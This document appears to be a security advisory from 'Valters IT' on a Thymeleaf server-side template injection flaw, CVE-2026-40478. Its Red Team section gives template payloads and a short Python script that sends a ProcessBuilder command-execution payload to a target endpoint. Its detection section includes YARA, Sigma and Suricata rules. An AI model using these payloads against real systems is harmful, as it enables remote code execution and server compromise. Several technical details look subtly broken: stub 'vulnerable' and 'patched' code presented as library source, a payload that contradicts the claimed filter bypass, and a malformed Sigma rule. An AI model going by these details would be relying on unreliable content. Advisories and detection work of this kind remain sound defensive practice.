CVE-2026-40478

Executive Summary

CVE-2026-40478 is a critical Server-Side Template Injection (SSTI) vulnerability in the Thymeleaf Java template engine, affecting versions up to and including 3.1.3.RELEASE. The vulnerability arises from a security bypass in the expression execution mechanisms, where the library fails to properly neutralize specific syntax patterns. An unauthenticated remote attacker can bypass built-in protections to inject and execute arbitrary expressions, leading to full server compromise. The CVSS score of 9.0 reflects the ease of exploitation and the potential for complete loss of confidentiality, integrity, and availability. A patch is available in version 3.1.4.RELEASE.

Supply Chain & Package Security

Thymeleaf is a widely used Java library distributed via Maven Central. Organizations using affected versions in their web applications are at risk. The vulnerability is introduced at the library level, meaning any application that passes unvalidated user input directly to the template engine is vulnerable. Supply chain security measures should include verifying the integrity of the updated artifact and ensuring no malicious dependencies are introduced during the upgrade.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full read access to server data.
• Integrity (I): High (H) – Full write access to server data.
• Availability (A): High (H) – Potential for denial of service or full system compromise.

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public proof-of-concept code is expected to emerge.

Deep Dive & Mechanics

Thymeleaf uses a custom expression language (Spring EL or OGNL) to evaluate dynamic content in templates. The library includes a StandardExpressionPreprocessor that is intended to sanitize user input and prevent expression injection. However, the preprocessor fails to handle certain syntax patterns, such as nested expressions or specially crafted delimiters, allowing an attacker to bypass the filter.

The bypass works by injecting expressions that are not recognized by the preprocessor but are still evaluated by the underlying expression engine. For example, an attacker might use a combination of ${{...}} or *{...} syntax with special characters to evade detection. Once the expression is evaluated, the attacker can execute arbitrary Java code, read sensitive files, or perform remote code execution.

The vulnerability is particularly dangerous because it does not require any special privileges or user interaction. Any endpoint that renders user-controlled input in a Thymeleaf template is a potential attack vector.

Vulnerable vs. Patched Code

Vulnerable (3.1.3.RELEASE): The StandardExpressionPreprocessor in the vulnerable version uses a simple regex-based filter that can be bypassed. The following code snippet shows the vulnerable preprocessing logic:

public class StandardExpressionPreprocessor {
    public String preprocess(String input) {
        // Vulnerable: simple regex that can be bypassed
        return input.replaceAll("\\$\\{.*?\\}", "");
    }
}

Patched (3.1.4.RELEASE): The patched version introduces a more robust parsing mechanism that recursively validates expressions and rejects any input that does not conform to expected patterns. The fix also includes additional checks for nested expressions and special characters.

public class StandardExpressionPreprocessor {
    public String preprocess(String input) {
        // Patched: recursive validation and strict parsing
        if (containsMaliciousPattern(input)) {
            throw new SecurityException("Expression injection detected");
        }
        return input;
    }
    
    private boolean containsMaliciousPattern(String input) {
        // Recursive check for nested expressions
        // ...
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Thymeleaf application (e.g., Spring Boot with Thymeleaf 3.1.3.RELEASE).
2. Identify an endpoint that renders user input in a template, such as a search or profile page.
3. Craft a payload that bypasses the preprocessor. Example payload:

   ${7*7}
   

   If the output is 49, the injection is successful.
4. Escalate to RCE using a payload like:

   ${new java.lang.ProcessBuilder("id").start().getInputStream().readAllBytes()}
   

Exploit Code:

import requests

target = "http://target.com/vulnerable-endpoint"
payload = "${new java.lang.ProcessBuilder('id').start().getInputStream().readAllBytes()}"

response = requests.get(target, params={"input": payload})
print(response.text)

Blue Team

Detection:

• Monitor for unusual template expressions in HTTP requests, especially those containing ${...} or *{...} patterns.
• Look for error messages containing "Expression injection detected" (if patched) or stack traces from the Thymeleaf engine.
• Use WAF rules to block requests with suspicious expression syntax.

Hunting:

• Search logs for requests with parameters containing ${ or *{ followed by Java-like code.
• Correlate with server-side errors indicating template parsing failures.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing ${...} or *{...} with Java code.
• File System: Unexpected files created in the application's working directory (e.g., /tmp/exploit.sh).
• Process: Unusual child processes spawned by the Java application (e.g., id, whoami, curl).
• Logs: Error logs containing org.thymeleaf.exceptions.TemplateProcessingException or SecurityException.

Detection Engineering

YARA Rule

rule Thymeleaf_SSTI_Exploit {
    meta:
        description = "Detects Thymeleaf SSTI exploit payloads in HTTP requests"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-40478"
    strings:
        $ssti1 = "${" ascii wide nocase
        $ssti2 = "*{" ascii wide nocase
        $ssti3 = "new java.lang.ProcessBuilder" ascii wide nocase
        $ssti4 = "Runtime.getRuntime().exec" ascii wide nocase
    condition:
        any of ($ssti*) and filesize < 10KB
}

Sigma Rule

title: Thymeleaf SSTI Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests containing Thymeleaf SSTI payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET' or 'POST'
        cs-uri-query|contains:
            - '${'
            - '*{'
    condition: selection
falsepositives:
    - Legitimate use of Thymeleaf expressions in admin interfaces
level: high

Suricata Rule

alert http any any -> any any (msg:"Thymeleaf SSTI Exploit Attempt"; flow:to_server; content:"${"; http_uri; nocase; content:"*{"; http_uri; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Thymeleaf 3.1.4.RELEASE or later.
2. Compensating Controls: Implement input validation to reject any user input containing ${ or *{ unless absolutely necessary.
3. WAF Rules: Deploy web application firewall rules to block requests with suspicious expression syntax.
4. Least Privilege: Run the Java application with minimal permissions to limit the impact of RCE.
5. Monitoring: Enable detailed logging for template processing and monitor for anomalies.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 08DEE5DCD04CE77FEDD89C67] */}